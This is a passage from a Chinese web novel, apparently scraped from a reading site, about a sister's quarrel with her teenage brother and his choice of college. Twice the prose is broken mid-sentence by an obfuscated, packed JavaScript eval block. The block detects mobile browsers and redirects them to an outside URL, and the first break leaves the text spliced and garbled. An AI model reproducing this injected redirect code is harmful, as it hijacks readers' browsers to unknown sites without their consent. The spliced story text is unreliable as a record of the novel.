她微微向前倾了身,双手撑在桌沿上,目光像利刃一样落在阮秋身上:“你知道那是什么地方吗?你知道那里会有什么人吗?如果真出了事,你拿什么解决?” 阮秋的呼吸停滞了一瞬,仿佛连反驳的力气都被抽空了。他低着头,嘴唇紧抿,脸上的线条绷得死紧。 淼淼从旁边看着,咬着嘴唇,急急地抬起头:“姐,我——” “闭嘴。”阮云琛头也不转,声音低却不容置疑。 淼淼缩了缩脖子,想要开口的声音又硬生生咽了回去。 “我没想让你知道,”阮秋突然抬起头,声音低哑却带着一丝被压抑到极点的情绪,“不是因为我想瞒你,而是因为我不想让你担心!你每天都已经够累了,管着这么多事,我只是不想——” “你不想什么?”阮云琛的声音骤然冷了几分,打断了他,“不想我担心,不想让我管?阮秋,你觉得我在做什么?我就是为了‘不担心’才跑回淮龙的吗?” 阮秋的眼神有些闪烁,但更多的是压抑的愤怒。他张了张嘴,声音压得低低的:“你觉得我想让她跑?你觉得我不紧张?我找了整整一晚上,我甚至都没想过——” 他忽然顿住,像是有什么东西卡在喉咙里,说不下去了。 “甚至没想过什么?”阮云琛冷冷盯着他,“没想过告诉我?没想过我会担心?” “我不想让你担心!”阮秋的声音终于失控,像是一道闸口被打开,所有积攒的情绪一瞬间涌了出来,“你每天都已经够累了!为了这个家,天天为了我们操心,我不想让你再多操心了,行不行?” “行。”阮云琛冷冷地答了一声,眼神依旧冰冷,“你不想让我操心,结果呢?结果就是淼淼跑去桥洞,半夜失联,你自己像个没头苍蝇一样乱撞?这就是你所谓的‘不让操心’?” “那你以为我该怎么做!”阮秋站了起来,声音因为压抑的愤怒而发颤,“告诉你,让你立刻扔下学校的事跑回来,然后挨处分?姐,我知道你想管,可你管得了所有吗?” 阮云琛的眼神陡然一冷,声音低得像刀子:“你觉得我管不了所有,那你能管得了?你以为你能扛住所有事,不需要告诉我?” “我只是……”阮秋的声音忽然低了下来,眼神里带着痛楚,“我只是想证明,我能行。我能照顾好她,我能帮你分担……” “分担?”阮云琛猛地站起身,椅子在地板上划出刺耳的声音。她的语气冷得像冰,“你觉得分担是靠瞒着我、自己硬撑?” 她盯着他,声音微微发颤,却冷静得让人害怕:“我最怕的不是你失败,而是你连让我知道的机会都不给,就擅自决定一切。你有没有想过,我回来晚一步会看到什么?” “你回来晚一步,也不一定会出事!”阮秋回击,声音带着一丝颤抖。他的目光不再回避,直直对上她,像是在努力证明什么。 “也不一定?”阮云琛冷笑了一声,目光锋利得像是刀,“阮秋,你什么时候变得这么天真?” 她向前一步,逼近了他。他的肩膀微微绷紧,嘴唇抿成了一条线,但没有后退。 “我会保护好淼淼的。”他开口,声音里带着一丝倔强,仿佛这一句话能堵住她所有的指责。 阮云琛没有立即回答。她盯着他的脸,眉头轻轻皱了一下,像是在斟酌措辞,又像是在压抑某种情绪。 “可你呢?”她的声音压低了些,轻得像是落在空气里,却比刚才更加锐利,“谁来保护你?” 阮秋怔住了。 阮秋没有想到会听到这样一句话。他的嘴唇动了一下,却没有发出声音。喉结上下滚动了一下,像是有些什么卡在喉咙里,无法吐露。 “你总说自己你能扛,”阮云琛的语气平静下来,甚至带着一点淡淡的疲惫,“可你有没有想过,你扛不住的时候怎么办?你觉得我是谁?你觉得这个家是谁在撑着?” 她没有再逼近,反而后退了一步,直起身,语气里多了几分冷静的刺意:“淼淼需要你,我也需要你。如果有一天你倒下了,谁还能站得住?” 房间里陷入死寂。 阮秋垂着头,手在桌下紧攥成拳,指节泛白。他低低地开口,声音里像是被某种情绪撕裂了一样:“对不起……” “不是对不起。”阮云琛打断他,声音缓了些,却依旧带着不容置疑的力量,“我们是家人,我需要你,也需要淼淼,而你们......我希望你们也需要我。” 她的目光只是停在阮秋脸上,冷静得没有一丝波澜,但比任何指责都更让人无地自容。 “以后不许再这样。”她说。 阮秋抬起头,看着她,像是第一次真正看清了她的表情——那不是愤怒,而是一种极力掩饰的恐惧和疲惫。 “姐,我……”他张了张嘴,声音卡在喉咙里。 阮云琛没有再看他,拿起筷子,低头夹了一口菜,声音淡淡的:“吃饭。” 饭桌上只剩下碗筷清脆的碰撞声。阮云琛没有再看阮秋,也没有再说话,只是低头夹起一口凉掉的菜,慢慢咀嚼,仿佛刚才的一切从未发生。 阮云琛也没想着和阮秋吵。 可压在心中的怒火总是息不灭,那说不上来的恐慌一波顶着一波,即便阮秋和淼淼真的没有事情,自责却也几乎淹没了她。 她很少这样,像是被什么抓住了咽喉,无法呼吸。冷静和理智本该是她的保护壳,可今天,这些东西似乎全都失效了。 从田家庄到淮龙,再从淮龙回警校,随后压了一个月又二十天,再次从那儿回到这里。 阮云琛脑子里转过的画面太多,乱七八糟,没一个让人安心。她总是习惯把最坏的可能性放在心里反复掂量,可那些情景实在太糟糕,糟糕到连她自己都不敢细想。 ——阮秋也是。 她抬眼看了他一眼,那个少年人垂着头,肩膀线条紧绷,手指无意识地扣着桌沿。 他平静得过了头,仿佛刚才的事情从未发生过。他习惯了掩饰自己,可阮云琛却太熟悉他了——越是这样平静,他心里就越乱。 他才十六岁。一个还没成年的男孩,凭什么承担这些? 他懂什么? 要怎么保护人,怎么应对那些意外? 阮云琛想开口,却又哽住了。 愤怒在胸腔里翻腾,带着一种难以言喻的疲惫和压抑。 她为什么不在?如果她早一点回来,淼淼会跑掉吗?阮秋会做这种糟糕的决定吗? 她如果没有擅自离开家,淼淼会这么胡思乱想吗? 其实阮云琛早就知道,根源并不在他们身上,而在她自己。 是她选择了离开,选择了把责任丢给一个尚未成年的弟弟。可她无法原谅自己,也无法原谅他们的疏忽。 阮云琛闭了闭眼,胸腔里的那团火似乎烧得更旺了些。她伸手拿起筷子,夹了一口菜,却发现味道淡得几乎没有。 桌边的淼淼轻轻动了一下,像是想开口,但最终只是抬起头看了阮秋一眼,又低下了头。她的手指紧攥着筷子,青白的指节在昏黄的灯光下显得格外突兀。 阮秋坐在那里,手里的筷子已经停下,盯着碗底没有动。他的肩膀微微垂着,像是一块石头压在背上,始终无法舒展。 “吃完了就收拾。”阮云琛的声音打破了沉寂,语气淡得听不出情绪,“然后早点睡觉。” 她站起身,把筷子放回碗边,手撑在椅背上顿了一下,随后直起身,转身走向自己的房间。 阮秋站在水槽前,手下的动作机械而僵硬。水流冲刷着碗盘,发出单调的噪音,像是在逼迫人去思考,却让一切更加无处可逃。 阮秋放下手里的碗,侧过身看着她。厨房的灯光从他的脸上滑过,将阴影压在他的眉眼之间。 他的目光落在淼淼红肿的眼睛上,停了很久,最后只是叹了口气,轻轻伸手揉了揉她的头发。 “别想太多。”他说,“姐只是担心。” 淼淼轻轻“嗯”了一声。 阮云琛坐在床边,窗外的风卷着远处的灯火,一闪一灭,像是被压在夜色里的暗涌。 她没有开灯,只是在黑暗中盯着窗外的高楼,目光沉沉的,像是透过这些建筑看到了更远的地方。 房间里很静,只能听见风偶尔掠过窗棂的低鸣。 阮云琛推开门,反手把门带上,没有开灯。光线从窗帘的缝隙透进来,在地板上洒下一道浅浅的亮色。她站在门边,伸手摸了摸开关,却没有按下。 她靠在门板上,长长地呼出一口气。 刚才饭桌上的情景在脑海里一遍又一遍地回放。淼淼红着眼睛,低着头攥着筷子的模样,阮秋攥紧拳头、眼眶泛红却不肯退让的表情——她把每一个细节都记得清清楚楚。 她是不是......要求太多了? 软因此慢慢走到窗边,拉开窗帘一角,看着外面的夜色。 远处的路灯在风里摇晃,街道上已经没有人影,只有零星的几辆车在路上缓缓驶过。她的目光顺着灯光的轨迹移动,最后停在楼下的小路上。 淼淼的倔强,阮秋的坚持,一遍又一遍地在脑海里重现。阮云琛的指尖在窗框上轻轻敲了一下,仿佛想要打破某种无声的僵局。 她是不是忽略了淼淼太多? 她还小,才十一岁,就已经要面对同学的好奇、父母缺席的空白。这种压力本不该是一个孩子承受的。 阮秋也明明才十六岁,却总想着自己能扛住所有的事。 阮云琛闭上眼,手撑在窗框上,指尖轻轻用力,压得关节有些发白。 她转过身,拉开床头的抽屉,取出一本放了许久的书。 书的封面已经有些褪色,是她高考完之后买的,里面夹着几张零散的笔记。她随手翻开一页,想要看下去,却发现字迹模糊得让人无从集中注意力。 手指翻到第三页时微微颤了一下。她停了住,盯着那张纸,半晌后合上书,把它放回原处。 她坐在床边,盯着墙上的钟表出神。 指针缓缓移动,发出一声又一声轻微的“滴答”声,在夜里显得格外清晰。她的手肘撑在膝盖上,手指轻轻揉着眉心,试图驱散头脑中的混乱。 即便是这般的争吵,第二天还是得共同迎接初升的太阳。 隔天一早,急促的敲门声就响起来了,紧随着的就是塑料袋摇晃的声音:“哎!小秋,小秋,在家吧?给哥哥开个门!” 阮秋刚收拾好桌上的卷子,听到声音皱了皱眉,手上动作顿了顿。他走到门口,拉开一条缝,探头往外瞧了一眼,立刻眉头就飞得有三尺高:“怎么是你?” 胖子笑得跟朵花儿似的:“听说你姐回来了,我特意过来拜访拜访。” 阮秋眉头一皱,也不知哪儿来的火气,飞快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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房间门也就是前不久给装上的,阮云琛昨天回来还懵了一下——要不是刚跟阮秋吵完架尴尬着,否则她就要开口问了。 客厅的两人同时转头,看到阮云琛走了出来。她手里拿着一本极厚的书,脸上看不出情绪。 胖子立刻坐直了些,露出一副热情又谨慎的笑:“哎呀,阮妹妹!我就说你回来了,给你们都带点吃的,快来吃,趁热!” 阮云琛一愣,瞥了一眼那飘着酸辣香味的袋子,眼睛有些发直:“螺蛳粉?” 胖子立刻坐直了些,脸上的笑容像打开了开关:“对啊!我特意给你们带的,还热乎着呢!这可是头一锅。” 阮云琛又在门边滞了会儿,才说了声“谢谢”。 阮秋一听就不乐意了,他也不知道自己哪根神经搭了错,讲话压根不想过脑,小声嘟囔了句:“他怎么不直接把摊子都给搬家里来。” 再小的声音也给胖子听着了。他咽下粉,抬头瞥了他一眼,笑得一脸得意:“怎么着?不欢迎?” 被胖子戳穿不可怕,可怕的是被胖子挡着阮云琛的面戳穿,并且昨个儿还吵完架说自己能独当一面,今天就跟个真正的小孩似的在这拌嘴。 阮秋忍不住用余光偷偷瞧阮云琛,却只见她她拿了三双筷子和四只勺,分了两只给他:“给胖哥也拿一只去。” 胖子的脸埋在碗里,眼睛倒是没闲着。他左看看又右看看,忽地“噗嗤”一笑,冲阮秋眨了眨眼:“你小子,想你姐就直说啊,老偷偷看做什么。” 这句话像根刺,直扎进阮秋的神经。他抬头,目光冷冷地剜了胖子一眼,手里的勺子“啪”地一下插进胖子的碗里,力道大得汤水都溅了出来:“吃你的吧!” 胖子吓一跳,嘴里刚吸进去的粉差点呛住,他瞪大了眼睛,随即哈哈大笑:“哟!还炸毛了!行行行,我吃,我吃——” 淼淼被吵了醒,从卧室探出个脑袋,双手抱着枕头,一脸不高兴。她揉着眼睛,声音里带着点鼻音:“吵什么啊……一大早的。” 胖子见她,立刻放下碗,抬手招呼:“哟,淼淼丫头,快来快来,叔叔给你带了粉!酸辣的,保证你喜欢!” “去你的叔叔,怎么还带升辈的?”阮秋骂了一句。 “哎呀,我这不也二十四了嘛,可不得叫叔叔了嘛。”胖子没被激着,就笑了笑,挠了挠头,嘴里头还含着一口粉,讲起话来含混不清的。 他的声音最终被螺蛳粉的汤水盖了过去。淼淼抱着枕头坐下,含着鼻音问了一句“我姐呢?”,没等阮秋回答,就转头扎进了碗里。 阮秋捏了捏鼻梁,余光瞥见阮云琛已经起身进了厨房,开始收拾剩下的几个碗。他听见水龙头的声音哗啦啦地响,又听见胖子和淼淼在争论粉汤里到底有没有“加料”的问题。 “没有就是没有!你这丫头也太不信人了!”胖子嚷嚷得声音都破了。 阮秋没有参与这场闹剧。他盯着桌上的那双筷子看了很久,直到阮云琛从厨房出来,把毛巾甩到他的肩上:“把桌子擦了,别让粉汤留味儿。” 他应了一声,动作慢得像一台迟钝的机器。 胖子和淼淼一直闹到了中午,终于在淼淼抱着胖子的塑料袋宣布“下次还要吃”时结束了这场小型闹剧。 胖子带着剩下的空碗走了,阮云琛关门的声音不大,但却像在屋子里落下了一颗石子。 “别发呆了,”阮云琛瞥了阮秋一眼,随手把一叠册子放到茶几上,“淼淼的暑假作业没做完,你帮她盯着点。” 阮秋把毛巾往椅背上一扔,眉头皱得更紧:“暑假才刚开始,你就盯着作业?” 阮云琛没理他,只是淡淡地说了一句:“早点做完,后头轻松。” 说完转身进了书房。 阮秋站在客厅里,看着茶几上那叠试卷发了会儿呆。 窗外的蝉声渐渐盖过了楼道里的脚步声,他低头看了一眼手机上的时间,六月的数字显得扎眼,屏幕的倒计时显示离高考还有整整一年。 阮秋抬手把茶几上自己的卷子推到一边,拿起了淼淼的暑期作业。背影映在窗台的光里,有些单薄,但却带着少年人特有的执拗。 入夏的雨下得沉闷,阮秋坐在书桌前,盯着摊开的模拟试卷,笔尖在最后一道大题上顿住。他的脑袋有些发空,目光却不由自主地落到门缝里透出的那点光。 阮云琛在房间里。 她房间的灯总是亮到很晚,桌上的案卷堆成一座小山。阮秋知道她在做什么,也知道她忙到什么时候才会关灯。 这一切仿佛成了某种惯性。就像墙上的时钟,每一秒的指针都在提醒他,高考越来越近,而她的脚步却始终稳得像从未停过。 “姐,我们能聊聊吗?” 阮秋犹豫了好几个晚上,终于敲响了阮云琛的房门。 84. 抉择 阮秋并没有真的想要找阮云琛聊什么。 或者说,他是想聊的,可是脑子里的东西太多太杂了,不知道该从哪里开口。 可能是想延续前些天阮云琛刚回来的那天争吵的话题,说自己也能扛下一些重担;或者是提一提胖子,说他竟然终于觉得自己的生意不太靠谱,想找个稳定点的活儿做做;又或许是...... 或许是明明高考还有一年,他却开始担忧接下来的日子。 “姐,我想报考淮龙师范学院。” 阮云琛的笔在指尖停住了,淡淡的目光从笔尖移到阮秋的脸上,显然是被他突如其来的话震住了。 “淮龙师范?”她重复了一遍,语气里带着一种不易察觉的停顿。 阮秋点了点头,神情自然得像是早就考虑好了这一切。 “我查过了,他们的国际交换项目很不错,尤其是计算机专业的资源,和那几所名校比起来也不算差。”他的语速不快,语调平稳,像是在陈述某个无关紧要的事实,“而且离家近。学费也低,奖学金政策很好。” 阮云琛的目光没有移开,似乎在审视他的表情和语气中的破绽。她靠在椅背上,手指无意识地转着那支笔。 “你的成绩,”她慢慢开口,声音低而平静,“可以保送更好的学校,为什么非要选这个?” 阮秋站得很直,肩膀绷得有些僵硬,但他的目光依旧坦然。他垂下眼,像是思索了片刻,才轻轻地说:“姐,不是所有人都非得追逐那些最顶尖的学校。有时候,合适才是最重要的。” 阮云琛的眼神微微一动,像是被这句话触碰到了什么。她看着他,没有接话,只是用手指敲了敲桌面。 “国际交换项目?”她的声音依旧没有情绪,“你对这个了解多少?” 阮秋点了点头,语气里带了些少年的笃定:“他们和国外几所学校有联合课程。我可以大三去交换一年,拿到双学位。到时候再继续深造,也不会耽误太多时间。” 阮云琛的眉头轻轻皱了皱。 她当然知道,这套话阮秋是提前准备好的,每一个理由都说得滴水不漏。然而她更清楚,这些话背后到底隐藏着什么。 阮云琛的指尖敲在桌面上的声音很轻,一下接着一下,没有规律。她的目光停在阮秋脸上,却似乎透过他的神情,看向了更远的地方。 屋里的灯光并不刺眼,却像是在这沉默中无限放大了细节——桌上的杯子里浮着一片茶叶,钟表的秒针跳过数字,窗外隐约传来几声蝉鸣。空气里有一丝潮意,像是将她的思绪黏在原地,让她的每一个想法都拖着沉重的尾巴。 他自己想清楚了吗? 这个问题在阮云琛脑海里回荡了一瞬,又被压了下去。 他真的能想清楚吗? 这不是她第一次对这个问题产生怀疑。 阮秋一直是个聪明的孩子,懂事、勤奋,很多时候甚至不需要她开口,他就已经替她做好了选择。 这种聪明有时候让人省心,可更多时候,却让她觉得无力。 阮云琛的目光停留在阮秋的手上,那双手轻轻握成拳,手背上的青筋隐约可见。 他的动作很小,却带着不容忽视的力量,仿佛所有的意志都集中在这一瞬间。他像是在向她证明着什么,同时也在隐约抵抗着什么。 这是他的梦想吗? 还是他自己选定的一条路,用来挑起他以为她无法负担的重担? 阮云琛没有问。 她也不需要问。 阮秋的每一步都走得小心翼翼却坚定无比。 从每一次替她安抚淼淼的情绪,到那些她都快忘记的细枝末节——替她递上一杯水,替她准备好出门的随身物品,甚至是偶尔不动声色地在书桌上留下她急需的工具。 阮秋的选择从来没有偏离她的期待,可那些选择背后的理由,却是她最害怕看到的。 阮云琛的喉头动了动,像是有话要说,却最终只是静静地看着他。 她清楚地知道,他想说服的并不是她,而是自己。 可她越是清楚这些选择背后的用意,越是感到心里像压了一块石头。 阮秋说得滴水不漏,那些关于交换项目的条条框框,每一个都显得合理,每一个也都让人无法反驳——可阮云琛知道,选择淮龙师范的理由,绝不是这些。 他是为了她。 是为了帮她分担这个家的重担。 这个念头冒出来的一瞬间,阮云琛忽然觉得有些无措。 她的手指从桌面上滑下来,静静垂在膝盖上,握了一下,又慢慢松开。 如果她坚持拒绝,他会不会选择另一种方式证明自己? 比如更拼命,更倔强,更不惜一切代价? 答案显而易见。 阮云琛太了解阮秋了,就像了解那个在黑暗里摸索着前行的自己。 她不喜欢做妥协,也从来不觉得妥协能换来真正的平衡。可面对这个比她想象中还要倔强的少年,她忽然发现,自己不得不放下那一份坚持。 桌面上还放着阮秋那张奥赛的证书,光滑的纸面反射着灯光——特等奖,答对了试题背面的所有加分项。 在高二获得这样的奖项,是能够直接保送到更好的大学的——一本,985,或者211。 可他偏偏选择了淮龙师范学院。 那只是个专科升上来的三本,就算它的合作项目再好,那又能有多好? “姐,你给我起的名字是秋。” 阮秋的声音很轻,像是在试探,又像是在宣告什么。 阮云琛怔了一下,没有说话,只是看着他。 “秋。”他重复了一遍,语气比刚才更低了一些,却带着某种不可忽视的力量,“你说过,是因为我第一次来到这里——第一次遇到你的时候,是秋天。” 阮云琛的目光微微动了动,她没接话,手指却无意识地在桌面上敲了一下。 阮秋看着她,像是怕她开口阻止,又像是在给自己争取时间:“那时候,我根本没有名字,也没有家。我不知秋天对我来说有什么意义,也不知道该怎么走下一步。但你告诉我,有名字的人,就可以重新开始。” 阮云琛的手指停住了,空气里仿佛凝滞了一瞬。 阮秋低下头,垂在身侧的手轻轻攥了一下,又松了开。他的视线从窗外的昏黄灯光转回她的脸上,声音更低了一些:“淮龙对我来说,不只是个普通的名字。它是我们第一次站在同一片屋檐下的地方,是我第一次知道......什么是‘有家’的感觉。” 他抬起头,目光直直地落在她脸上,声音低而坚定:“你是我的起点,一直都是。我选择留在这里,不是为了别的,而是因为……对我而言,你就是我的意义。” 阮云琛的喉头微微动了动,像是被他的话打了个措手不及。 她盯着他的眼睛,仿佛想要从里面找到一点虚伪的影子,可是...... 没有。 阮秋的目光坦荡得像秋天的天空,没有一点遮掩。 清澈,透亮,亮得有些刺眼了。 阮云琛低下头,沉默了一会儿,声音有些哑:“所以,你是为了这个,才不肯走?” 阮秋没有否认,只是轻轻“嗯”了一声。 阮云琛长长地吐出一口气,手指在桌面上轻轻敲了两下,像是在斟酌,又像是在下某种决心。 “阮秋。”她的声音很轻,却透着一贯的平静,“名字是我给的,但路是你选的。你......自己想清楚了吗?” 阮秋抬起头,目光正对上她。他的眼神平静,没有退缩,也没有多余的情绪:“想清楚了。” 房间里沉默了一瞬,只有窗外的蝉鸣断断续续地传进来。 阮云琛的目光落在阮秋的脸上,却没有立刻开口。光线从窗帘缝隙漏进来,在他颧骨上勾勒出一道浅淡的阴影,那目光沉稳得有些陌生。 “阮秋,”她轻声开口,声音里透着些许疲惫和复杂,“你不需要为了任何人做选择,包括我。” 她的话停在半空,像是给人留下了一点喘息的余地,又像是给了自己一次机会。 阮秋低头,垂在身侧的手指轻轻动了动,却没有说话。他的喉结微微滚动了一下,目光紧紧盯着桌角,像是在强迫自己不去看她的脸。 “但你要记住,”她的声音很轻,像是怕打破这片微妙的静默,“这是你自己的路。每一步,走得值得就好。” 阮秋抬起头,眼睛里带着不容错过的光亮,带着少年人的认真与笃定。他微微张了张嘴,像是想要辩解些什么,可到嘴边的话又被硬生生咽了下去。 “我明白。”他说,声音低沉,却不失力道。 阮云琛低下头,翻开桌上的资料,却迟迟没有动笔。 她的手指搭在纸张的边缘,无意识地轻轻摩挲着,像是试图转移自己的注意力。过了许久,她才低声开口:“去做你觉得对的事吧。” 这句话听起来像是妥协,却又带着某种复杂的意味,让人分不清是放手还是纵容。 阮秋站在原地,目光落在她垂下的睫毛上。灯光映在阮云琛的侧脸,柔和得让他觉得难以靠近。 他忽然抬起手,轻轻地抱住了她。 动作很小心,带着一点试探。 他的下巴轻轻抵在她的肩头,呼吸微热,擦过她的耳廓,透着淡淡的米饭香气。那味道隐隐约约,不知道是从厨房飘进来的米粥蒸汽,还是他身上的烟火气带进了房间。 他的双臂安静地环着她,力道不重,动作克制得几乎有些僵硬。手指停在她手肘以下的位置,没有任何逾矩,却又沉默地宣示了一种难以言喻的亲近。他贴得很近,整个世界都被压缩到这么一个狭窄的距离里,仿佛他一松手,她就会消失不见。 阮云琛的身体僵了住,指尖停在纸页上,动也不动。 她的目光依旧落在桌面,字迹还在眼前,却模糊得像是一片未散的水渍。房间里安静得过分,只有窗外的蝉鸣和墙上时钟的滴答声,让这片沉默显得更加逼仄。 阮秋的心跳隔着布料传过来,有力而急促,几乎让她感受到一丝不加掩饰的炙热。空气凝滞了许久,沉沉地压在她的肩头,沉默和靠近成了彼此唯一的语言。 “姐,我只是不想你觉得,自己永远只有一个人。”他的声音低下去,没有前言,也没有后语,话到这里便戛然而止。 阮云琛的目光停在桌面,纸页上的线条微微晃动,似乎和他的呼吸同频。时间像被无限延长,每一秒都显得缓慢而沉重。 她轻轻吐了一口气,眼神有些松动:“你啊……” “谢谢。” 阮秋没让阮云琛说完,只低声重复了一遍,语气里带着一点连自己都未察觉的倔强。 阮云琛迟疑了一秒,终究是没有推开他。 窗外的蝉鸣忽然停了,夜晚的安静像潮水一样涌了进来。 阮秋的手指动了动,缓缓松了开。 那点触感从手肘处散去,残留着微不可察的温热。他退开半步,没有说话,垂在身侧的手攥了一下,像是想要抓住什么,最后却只是收回了全部动作。 他的目光依旧留恋在阮云琛身上,却没有再多说什么,只轻轻开门,走了出去。 房间里重归寂静。 阮云琛靠在椅背上,目光落在窗外渐渐暗下来的天色里。 阮云琛没有让自己多想,只是长长地吐了一口气,手指缓缓地转着笔,却是转一次掉一次。 直到这会儿,她才突然发现,自己的手心竟已微微出了汗。 那个曾经需要她护着的少年,如今已经有了自己的选择,而她,也开始隐隐感到一种失控的无力。 阮云琛靠在椅背上,目光停在窗外。远处的灯光在夜色里一闪一灭,像漂浮在浓雾中的微弱信号,捉摸不定,却又执拗地亮着。 阮云琛不知道是否真的有风能吹开前路的雾霾,还是那些雾气只是遮住了无尽的深渊。 她自己还在迷茫当中,像是在走一条永无止境的狭窄小路,随时都可能滑落进黑暗里。可是她却成了另一个人的导向灯,像灯塔一样为他指路,即便自己也不知道那条路究竟通向何处。 这种感觉,陌生又复杂。 阮云琛闭了闭眼,眉心轻轻蹙起。 她逼着自己走得更远、更稳,不敢回头,也不能停下。她甚至不知道,这种推动力究竟来自哪里,是对家庭的责任?是对未来的期盼?还是......从未说出口的害怕? 但阮秋的话像是落下的一枚小石子,搅动了她心里的湖面。 他选择了一条明明可以走得更轻松,却偏要更靠近她、更靠近家人的路。而她在他的目光里,看到的却不是迷茫,而是一种笃定。 或许她并没有想象中那样无路可走。 阮云琛的手指无意识地在桌面上轻轻敲了敲,像是在让自己回神。桌上的文件还没批完,书页的边缘轻微卷起,被风翻动了一页又一页。 灯光柔和而静谧,把她的影子映在墙上,像是被风吹动的旗帜,飘摇却不曾倒下。 阮秋却不知道自己的心脏为什么忽地就开始怦咚直跳。 他不自觉地深吸了一口气,却发现胸口越发闷得慌,像是心脏在某一刻被用力敲了一记,随后跳得就开始有些失控。 他靠在走廊的墙上,门刚关上,指尖还有微微的触感残留,像是被什么东西轻轻点了一下。暖意顺着血液扩散,却不合时宜地让他觉得有点窒闷。他低头看了看自己的手,掌心微微出汗,指节有些泛白——刚才的动作显然不是他计划好的,但一切又仿佛顺理成章。 鼻腔里还弥漫着阮云琛身上的味道,像是洗衣粉的清香,又混着些许微热的空气。他闭上眼,脑海里不由自主地浮现出刚才的情景——她的肩膀微微僵硬了一下,却没有推开他,温热的触感透过薄薄的布料,像一把悄然钻进他胸口的钥匙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178241|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心脏的跳动一声接着一声,砸在耳边,像在嘲笑他的失控。他猛地直起身,目光落在阮云琛的房门上,又迅速移开,像是被什么灼了一下。 窗外的风穿过楼道,带着点湿润的凉意。他的手指搭在门框上,无意识地滑过粗糙的边缘,像是在寻找一个可以抓住的支点。 “都是胖子的错。”他低声咕哝了一句,语气里带着掩饰般的嫌弃。脑子里不知怎么又冒出胖子那张没正形的笑脸,耳边仿佛还响着他的调侃:“你小子老偷看你姐做什么?想她就直说啊。” 阮秋的眉头拧紧了些,脸上莫名有点发烫。他甩了甩手,像是要甩掉那些乱七八糟的念头,却只觉得手心的触感越发清晰。房间门板的纹路在指腹下带着细细的刺痒感,把他拉回到眼前。 他忽然觉得有点烦躁,仿佛整个人都被某种说不清道不明的情绪包围了。他吸了口气,猛地一拳砸上了面前的沙袋。 “哟哟哟!吓死我了你小子!”谢胖子从沙袋后面探出了头,满脸写着夸张的抱怨。 胖子其实是来拳馆门口卖螺蛳粉的,一边摆摊一边朝里面张望。看到阮秋正练拳,他索性放下手里的活儿,晃悠进了馆子。 “打得够狠啊,搞得好像要上什么擂台似的。”胖子走近,笑嘻嘻地调侃。 阮秋一边调整呼吸一边回头瞥他一眼:“少来,你怎么有空跑到这里?” 胖子抖了抖肩膀,手上还沾着一点辣椒油:“这不是生意太淡了吗?想着反正你也在附近,就过来看看你有没有时间请我吃顿饭。” 阮秋冷笑:“想得美。” 胖子假装唉声叹气,忽然话锋一转:“你小子,不会是跟人告白被拒了吧?瞧你这力道,像是被伤了心。” 阮秋一愣,抬脚朝沙袋上狠狠踹了一下:“滚蛋。” 胖子笑得直不起腰,还想继续打趣,拳馆老板却从里间走出来,双手叉腰,语气不善:“要吵出去吵,别在这里搅和我的生意。” 胖子立刻举起双手,一脸无辜:“老板,这话可就不对了,我哪敢搅和您的地盘?” 老板没理他,直接伸手抓住他和阮秋的衣领,粗暴地把两人推出了门:“出去!要吃螺蛳粉出去吃!” “我又没把螺蛳粉带进来!”胖子被拉出去的时候还在嚷嚷,“你这是歧视!不让我推销就算了,居然还把我赶走!” 光头老板神气地挑眉看了他一眼,又看了看他停在门口的电三轮,没说话,但那脸上的表情一目了然:对,老子就是歧视,除非你也给我来一碗。 两人站在门口,胖子拉了拉自己的衣服,一脸愤愤不平,却还是笑得不正经。 淼淼升上了初二,课程渐渐忙碌起来,她开始不再像小时候那样黏人了。 阮云琛去田家庄之前还是不放心,反复在淼淼房间门口踱步,但也说不出什么别的话来。 阮秋叫她别担心。 “我又不是不在。”他说。 阮云琛停下脚步,转头看他一眼。目光从他的肩膀扫到脚,再一路向上。她的动作缓慢,却又带着一种不动声色的审视,像是在评估什么。 阮秋忽然意识到,她居然得稍稍抬起眼睛才能看他。 他心里有点发慌,又有些莫名的得意,更多的却是说不出的别扭感——好像多了点他自己都说不清楚的情绪,让他连指尖都绷得紧了些。 “怎么?”他扬了扬下巴,试图掩饰:“怕我搞不定?” 阮云琛的视线停留在了他的脸上,隔了会儿,才声音平淡地说:“我怕你再瞒着我点什么。” 她的语气轻描淡写,却让阮秋喉咙一紧。话头哽在嗓子眼,他没能接上,只能装作若无其事地抬手揉了揉鼻子。 ——以前怎么没觉得阮云琛这么记仇。 淼淼表面上没多说什么,偶尔对着写作业的桌面发呆,只有阮秋察觉到,她似乎变得更爱把自己关在房间里。 廖致远回家的次数依旧少,但每次回来总会不冷不热地问上一两句:“云琛最近有没有消息?你高考复习的怎么样了?淼淼在学习吗?吃饭了吗?” “别吵,我在看书呢。”淼淼隔着门说了一句。 廖致远的声音忽地就弱了下去。 一个年近五十的老警察,竟然被个十多岁小姑娘给吼住了,阮秋看着他的样子,觉得好笑又复杂。 他想起之前在阮云琛寒假回家都快要走的那天,廖致远风尘仆仆地大半夜推开了家门。 外面雨声没停,警车的鸣笛声从巷口远远地传过来,伴着汽车急刹的声音,像是要在这条小巷里炸开似的。 廖致远一脚踩进门,鞋底带着水迹,警服连扣子都没解开,身上还残留着外面的湿气。 他满脸写着疲惫,一边摘警帽一边喘了两口气,目光匆匆扫了一圈,看见阮云琛靠在椅背上,正翻着一本薄薄的书。 没等阮云琛抬头,他径直从口袋里掏出一部还冒着塑料味的小灵通,连包装都没拆干净,硬是塞到她手里,像是在完成某种任务一样匆匆忙忙地交代:“拿着。” 阮云琛愣了一下,低头看了眼小灵通,再抬头时,他已经转身往门口走了。 门被打开又关上的那一刻,外面的警车声清晰了一瞬。阮秋站在窗边,看着警车绝尘而去,心里头莫名有些复杂。 